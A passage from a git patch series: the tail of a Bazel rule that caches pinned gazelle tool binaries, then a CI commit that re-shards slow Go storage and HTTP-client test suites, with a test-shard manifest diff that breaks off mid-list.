pins[tool], + executable = True, + allow_fail = True, + ).success + for tool in _TOOLS + ]): + return metadata + + # A miss: build, and let the downloader check each binary against its + # pin, which also stores a match in the repository cache. + rctx.delete("bin") + _build(rctx, go, gazelle_version, "_build") + stale = {} + for tool in _TOOLS: + built = rctx.path("_build/" + names[tool]) + if not rctx.download( + url = "file://" + str(built), + output = "bin/" + names[tool], + sha256 = pins[tool], + executable = True, + allow_fail = True, + ).success: + stale[tool] = _sha256(rctx, built) + if stale: + # buildifier: disable=print + print("go_repository_tools: %s built from source with digests %r, not _PINS[%r]; the build is used but not cached. Update _PINS in tools/bazel/go_repository_tools.bzl." % (key, stale, key)) + rctx.delete("bin") + for tool in _TOOLS: + rctx.symlink("_build/" + names[tool], "bin/" + names[tool]) + else: + rctx.delete("_build") + return metadata + +go_repository_tools = repository_rule( + implementation = _go_repository_tools_impl, + doc = "gazelle's go_repository_tools (fetch_repo, gazelle, generate_repo_config), served from the repository cache when pinned.", + attrs = { + "_gazelle_module": attr.label(default = "@gazelle//:MODULE.bazel"), + }, +) From b162e0a4821b1cbf16e6c3b360d0d994c0844a9f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 08:02:40 +0000 Subject: [PATCH 186/325] ci(bazel): cut embedded/test lane long shards (served template, bulk seed, rebalance) (#7416) * ci(bazel): cut embedded/test lane long shards (served template, bulk seed, rebalance) Embedded lane (bazel-embedded): - RunBatchGetterAcceptsExactlyTheCap seeds its 1000 issues through a new optional BatchGetterFixture.CreateIssues hook (one write) instead of 1000 single-row commits. Wired for the embedded, served and dolt-server legs; the UOW leg keeps the per-row fallback. Same rows, same GetMany assertions. TestBatchGetterContract 199s -> ~7s and TestServedBatchGetterContract 204s -> ~7s on rbe-west. - The served-surface harness (newServedEnv) copies one per-process, freshly initialized reference workspace instead of initializing an embedded Dolt schema per case, the same pristine-template pattern internal/storage/embeddeddolt's tests already use (bd-7q32v). //internal/httpclient:httpclient_served_test: 3,713 -> ~1,200 shard-seconds; 24 -> 16 shards; heaviest shard 390s -> ~108s. - //internal/storage/embeddeddolt:embeddeddolt_embedded_test: re-measured every test on rbe-west (scripts/ci/embedded_storage_test_durations.json) and repacked 15 -> 20 shards (packed heaviest ~110s; was 352s in CI). Test lane (bazel-test): - //internal/httpclient:httpclient_test: unsharded (137-228s) -> 2 shards (76s / 97s measured). Bead: ga-vnycm2.3 Co-Authored-By: Claude Opus 5.5 (1M context) * test(dolt): seed the BatchGetter cap case without prefix validation The dolt-server leg's shared test store is configured with prefix "test", so the batch CreateIssues path's prefix validation refused the fixture's bge-* ids (the per-row CreateIssue the other seeds use does not validate). Bead: ga-vnycm2.3 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): shard //internal/storage/embeddeddolt:embeddeddolt_test 9 ways At 8 round-robin shards one shard drew the package's three heaviest tests (153s on rbe-west in this PR's test lane); 9 spreads them. Bead: ga-vnycm2.3 Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .../scripts/embedded-storage-test-shards.txt | 801 +++++++++--------- .github/workflows/bazel.yml | 37 +- backend/conformance/batch_getter_contract.go | 26 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 4 +- internal/httpclient/BUILD.bazel | 28 +- .../httpclient/served_batch_getter_test.go | 1 + internal/httpclient/served_harness_test.go | 47 +- internal/httpclient/served_test.go | 3 + .../dolt/batch_getter_contract_test.go | 9 + internal/storage/embeddeddolt/BUILD.bazel | 16 +- .../batch_getter_contract_test.go | 1 + .../ci/embedded_storage_test_durations.json | 754 +++++++++-------- scripts/shard_manifest_test.go | 6 +- 13 files changed, 918 insertions(+), 815 deletions(-) diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 96250f443..c92319f31 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -114,12 +114,12 @@ # # Format: # -# 15-shard split for the Bazel-only embedded-Dolt storage tier +# 20-shard split for the Bazel-only embedded-Dolt storage tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/embedded_storage_test_durations.json (see that file for provenance # and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 15 +# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 20 # --weights=duration --write after adding or removing Test* functions in # internal/storage/embeddeddolt/*_test.go. --write is incremental: it # keeps every already-assigned test on its current shard and only places @@ -134,413 +134,418 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -15 1 TestBatchApplyContract -15 1 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow -15 1 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting -15 1 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn -15 1 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure -15 1 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID -15 1 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix -15 1 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState -15 1 TestEmbeddedMergeAndSettleMetadataConflict -15 1 TestEmbeddedMergeAndSettleRefusesUnknownTable -15 1 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain -15 1 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides -15 1 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse -15 1 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt -15 1 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse -15 1 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection -15 1 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer -15 1 TestEmbeddedRoleFixtureKitHooksAreUsable -15 1 TestLifecycleCreateContract -15 1 TestMergeWithStrategy_OursKeepsLocal +20 1 TestCountsWithMissingWispPlaneTables +20 1 TestCreateBatchFastPathsMatchPerRow_Embedded +20 1 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween +20 1 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder +20 1 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle +20 1 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules +20 1 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue +20 1 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates +20 1 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry +20 1 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor +20 1 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue +20 1 TestIgnoredCursorHealResumeRespectsOperatorOverride +20 1 TestReadyCounterContract +20 1 TestReclaimRefusesForeignReplicaLease -15 2 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase -15 2 TestCleanGitRemoteCacheGarbage -15 2 TestCreateBatchFastPathsMatchPerRow_Embedded -15 2 TestDepRekeyMarkerStillInIgnoredSeries -15 2 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles -15 2 TestDualWriteFixtureKitIsWired -15 2 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded -15 2 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges -15 2 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop -15 2 TestEmbeddedDependencyEditorRefusesAGhostSource -15 2 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane -15 2 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe -15 2 TestEmbeddedIssueOperationsCreateAggregatesRelations -15 2 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers -15 2 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites -15 2 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge -15 2 TestEmbeddedRelationsDirectionSelectsTheInverseGraph -15 2 TestEmbeddedRelationsLeavesTheCallersRequestAlone -15 2 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether -15 2 TestEmbeddedRemoteMigrateGate_BlocksReopen -15 2 TestGitRefPinsMatchDolt -15 2 TestHeartbeatRejectsWispEmbedded -15 2 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore -15 2 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern -15 2 TestLeaseLifecycleEmbedded -15 2 TestLenientGateWarningBody_ShapedDecisions -15 2 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery -15 2 TestSchemaAfterInit -15 2 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed -15 2 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword +20 2 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed +20 2 TestEmbeddedConfigCommitStagesConfig +20 2 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest +20 2 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent +20 2 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps +20 2 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering +20 2 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes +20 2 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder +20 2 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne +20 2 TestEmbeddedRelationsRefusesTheZeroDirection +20 2 TestEmbeddedReopenIssueCategorySemantics +20 2 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent +20 2 TestEventsJournalAccessor +20 2 TestGetDependentRecordsEmbedded +20 2 TestLifecycleCloseReopenContract +20 2 TestOpenReturnsCachedStore +20 2 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials -15 3 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest -15 3 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape -15 3 TestEmbeddedClaimerRefusesAWispIDAsNotFound -15 3 TestEmbeddedConfigCommitStagesConfig -15 3 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes -15 3 TestEmbeddedDependencyEditorRefusalWritesNothing -15 3 TestEmbeddedDependencyEditorRemoveIsIdempotent -15 3 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove -15 3 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace -15 3 TestEmbeddedMergeAndSettleFKCascadeRepair -15 3 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn -15 3 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing -15 3 TestEmbeddedReaderReadyLimitBoundary -15 3 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven -15 3 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength -15 3 TestEmbeddedRenameKeepsDependencyIDsDeterministic -15 3 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded -15 3 TestEventsJournalReadRefusesAnInteriorHole -15 3 TestForeignSkipDetailIsBounded -15 3 TestListWisps -15 3 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict -15 3 TestPushCommitsPendingChangesFirst -15 3 TestUpdateMergeOps_DoltEngine_TwoIssues -15 3 TestWithPeerAuth_RestoresAbsentEnv +20 3 TestBatchApplyContract +20 3 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget +20 3 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate +20 3 TestEmbeddedDependencyEditorRefusalWritesNothing +20 3 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp +20 3 TestEmbeddedIssueOperationsRequestValuesAreNotMutated +20 3 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance +20 3 TestEmbeddedReaderDoesNotMutateTheCallerRequest +20 3 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress +20 3 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows +20 3 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary +20 3 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff +20 3 TestGetIssueCommentsPageEmbedded +20 3 TestGetReadyWorkIncludeEphemeralAppliesWispFilters +20 3 TestJournalContract +20 3 TestSearchWithMissingWispPlaneTables -15 4 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra -15 4 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed -15 4 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded -15 4 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane -15 4 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt -15 4 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder -15 4 TestEmbeddedCommitToleratesNothingToCommit -15 4 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest -15 4 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy -15 4 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape -15 4 TestEmbeddedReaderListEmptyPageIsWellFormed -15 4 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary -15 4 TestEmbeddedReopenIssueCategorySemantics -15 4 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit -15 4 TestEventsAutoPruneThrottleSkipsTheSecondPass -15 4 TestEventsJournalRestartAndRetentionBoundary -15 4 TestIgnoredCursorHealNeverResurrectsRolledBackVersions -15 4 TestMain -15 4 TestMemoriesContract -15 4 TestPromoteClearsNoHistory -15 4 TestRemoteVerbPlainRemoteKeepsAmbientEnv -15 4 TestReopenIssue -15 4 TestWithPeerAuth -15 4 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials +20 4 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes +20 4 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded +20 4 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor +20 4 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses +20 4 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose +20 4 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge +20 4 TestEmbeddedMergeAndSettleReportsOperatorConflicts +20 4 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing +20 4 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet +20 4 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength +20 4 TestEventsSinceEmbedded +20 4 TestIgnoredCursorHealConvergesFromEveryCrashState +20 4 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle +20 4 TestReleaserContract +20 4 TestRemoteGitDataRefOnEngine +20 4 TestUpdateMergeOps_DoltEngine_TwoIssues +20 4 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword -15 5 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase -15 5 TestBlockingAnnotatorContract -15 5 TestBootstrapperContract -15 5 TestBuildDSN_WithDatabase -15 5 TestCrossRecordInvariantContract -15 5 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch -15 5 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween -15 5 TestEmbeddedDepRekeyConvergesRenameChain -15 5 TestEmbeddedDependencyEditorAcceptsADiamond -15 5 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants -15 5 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge -15 5 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing -15 5 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore -15 5 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables -15 5 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults -15 5 TestEmbeddedMergeAndSettleReportsOperatorConflicts -15 5 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation -15 5 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows -15 5 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder -15 5 TestEmbeddedReaderListMaxRowsIsHonored -15 5 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest -15 5 TestEmbeddedRelationsAnswersInThePinnedOrder -15 5 TestEventsAutoPruneBoundsTheJournalToTheFloors -15 5 TestExpectedRevisionContract -15 5 TestGetDependentRecordsForIssuesEmbedded -15 5 TestLargeBatchApplyWallClock_Embedded -15 5 TestLargeGraphCreateTiming_Embedded -15 5 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance -15 5 TestOpenReturnsCachedStore -15 5 TestPartitionWispIDs -15 5 TestRetentionContract -15 5 TestWithPeerAuth_KeyMismatchFailsClosed +20 5 TestCommitAllOutOfBandChangeAndHonestNoOp +20 5 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles +20 5 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure +20 5 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone +20 5 TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge +20 5 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing +20 5 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure +20 5 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender +20 5 TestEmbeddedMergeAndSettleMetadataConflict +20 5 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch +20 5 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt +20 5 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary +20 5 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants +20 5 TestEmbeddedRelationsResolvesAWispAnchor +20 5 TestIgnoredCursorHealNeverResurrectsRolledBackVersions +20 5 TestLifecycleCreateContract +20 5 TestPushCommitsPendingChangesFirst -15 6 TestCreateIssuesRejectStaleUpserts -15 6 TestDecryptPassword_KeyMismatchNamesTheLocalKey -15 6 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit -15 6 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim -15 6 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges -15 6 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate -15 6 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes -15 6 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion -15 6 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim -15 6 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay -15 6 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState -15 6 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin -15 6 TestEmbeddedSyncCommitsConfigBeforeMerge -15 6 TestGetIssue -15 6 TestHeartbeatMatchesActorAcrossSpellingEmbedded -15 6 TestHistory_NullTextColumns -15 6 TestIsBlockedBatchEmbedded -15 6 TestLargeBatchApplyStatementCounts356_Embedded -15 6 TestRemoteGitDataRefOnEngine -15 6 TestRenameLabel -15 6 TestRenameLabelMintsOneVersionPerTouchedBead -15 6 TestRunInTransactionPostCommitStageFailureIsIndeterminate -15 6 TestStatsReporterContract -15 6 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials -15 6 TestWithPeerAuth_RestoresEnvWhenCallbackFails +20 6 TestConcurrencyMultiProcess +20 6 TestConcurrentOpenReturnsCached +20 6 TestDualWriteFixtureKitIsWired +20 6 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed +20 6 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt +20 6 TestEmbeddedDependencyEditorAcceptsADiamond +20 6 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape +20 6 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone +20 6 TestEmbeddedLenientOpenWarning_DataBehind +20 6 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder +20 6 TestEmbeddedReaderReadyDeferredAndEphemeralGates +20 6 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer +20 6 TestEventsJournalRestartAndRetentionBoundary +20 6 TestGraphCounterContract +20 6 TestGraphWalkPlansHonorJoinHints +20 6 TestHistoryPresenceContract +20 6 TestPromoteClearsNoHistory +20 6 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery -15 7 TestCommitAllOutOfBandChangeAndHonestNoOp -15 7 TestConcurrencyMultiProcess -15 7 TestConcurrentOpenReturnsCached -15 7 TestDualWriteContractFlagOff -15 7 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty -15 7 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy -15 7 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge -15 7 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType -15 7 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane -15 7 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp -15 7 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender -15 7 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext -15 7 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet -15 7 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType -15 7 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows -15 7 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists -15 7 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne -15 7 TestEventsJournalAccessor -15 7 TestHistoryPresenceContract -15 7 TestJournalContract -15 7 TestLifecycleCloseReopenContract -15 7 TestReclaimAnyReplicaOverride -15 7 TestTreeWalkerContract -15 7 TestWithPeerAuth_DivergedRemoteURLFailsClosed +20 7 TestCreateIssuesRejectStaleUpserts +20 7 TestDecryptPassword_KeyMismatchNamesTheLocalKey +20 7 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex +20 7 TestEmbeddedDependencyEditorSnapshotsTheRequest +20 7 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn +20 7 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps +20 7 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged +20 7 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn +20 7 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary +20 7 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage +20 7 TestEmbeddedRelationsDirectionSelectsTheInverseGraph +20 7 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether +20 7 TestEmbeddedRelationsResolvesTheAnchorIDExactly +20 7 TestGetDependentRecordsForIssuesEmbedded +20 7 TestHeartbeatRejectsWispEmbedded +20 7 TestPromoteStillWorksWithCollisionGuard +20 7 TestUpdateMergeOps_DoltEngine +20 7 TestWithPeerAuth -15 8 TestAddLabel -15 8 TestBuildDSN_NoDatabase -15 8 TestCleanGitRemoteCacheGarbage_NoCacheDir -15 8 TestCreateBatchFastPathsMatchPerRowLarge_Embedded -15 8 TestDoltCommitResponseLossIsIndeterminate -15 8 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed -15 8 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed -15 8 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex -15 8 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments -15 8 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb -15 8 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest -15 8 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches -15 8 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent -15 8 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress -15 8 TestEmbeddedLenientOpenWarning_DataBehind -15 8 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict -15 8 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 -15 8 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase -15 8 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations -15 8 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset -15 8 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters -15 8 TestEmbeddedReaderReadyDeferredAndEphemeralGates -15 8 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded -15 8 TestEmbeddedRelationsResolvesTheAnchorIDExactly -15 8 TestEmbeddedSQLCommitResponseLossIsIndeterminate -15 8 TestGetReadyWorkIncludeEphemeralAppliesWispFilters -15 8 TestHasRepository -15 8 TestLenientGateWarning_ComposedOutput -15 8 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle -15 8 TestReclaimExpiredLeaseSurvivesRestartEmbedded -15 8 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone -15 8 TestTransactionCleanupAfterSQLCommitIsIndeterminate +20 8 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting +20 8 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion +20 8 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches +20 8 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState +20 8 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress +20 8 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints +20 8 TestEmbeddedReaderListEmptyPageIsWellFormed +20 8 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix +20 8 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped +20 8 TestEmbeddedRelationsRefusesAnUnusableTypeFilter +20 8 TestEmbeddedRoleFixtureKitHooksAreUsable +20 8 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit +20 8 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges +20 8 TestGetNextChildID +20 8 TestListWisps +20 8 TestPreviewStoreRefusesLocalMetadataWrite +20 8 TestReclaimAnyReplicaOverride +20 8 TestStatsReporterContract +20 8 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials -15 9 TestBatchGetterContract -15 9 TestCommenterContract -15 9 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes -15 9 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting -15 9 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState -15 9 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes -15 9 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy -15 9 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked -15 9 TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge -15 9 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones -15 9 TestEmbeddedIssueOperationsCloseAndReopenAWisp -15 9 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose -15 9 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel -15 9 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal -15 9 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress -15 9 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry -15 9 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage -15 9 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix -15 9 TestEventsSinceEmbedded -15 9 TestIgnoredCursorHealConvergesFromEveryCrashState -15 9 TestLegacyTrackedIgnoredCursorUnwedgesPull -15 9 TestMetadataCASContract -15 9 TestPromoteStillWorksWithCollisionGuard -15 9 TestReadyWorkWithMissingDeferredParentTables -15 9 TestUpdateMergeOps_DoltEngine +20 9 TestDeleterContract +20 9 TestDualWriteContractFlagOff +20 9 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds +20 9 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies +20 9 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants +20 9 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges +20 9 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest +20 9 TestEmbeddedReaderListMaxRowsIsHonored +20 9 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse +20 9 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection +20 9 TestForeignSkipDetailIsBounded +20 9 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore +20 9 TestLeaseLifecycleEmbedded +20 9 TestOpenAfterCloseCreatesNewStore +20 9 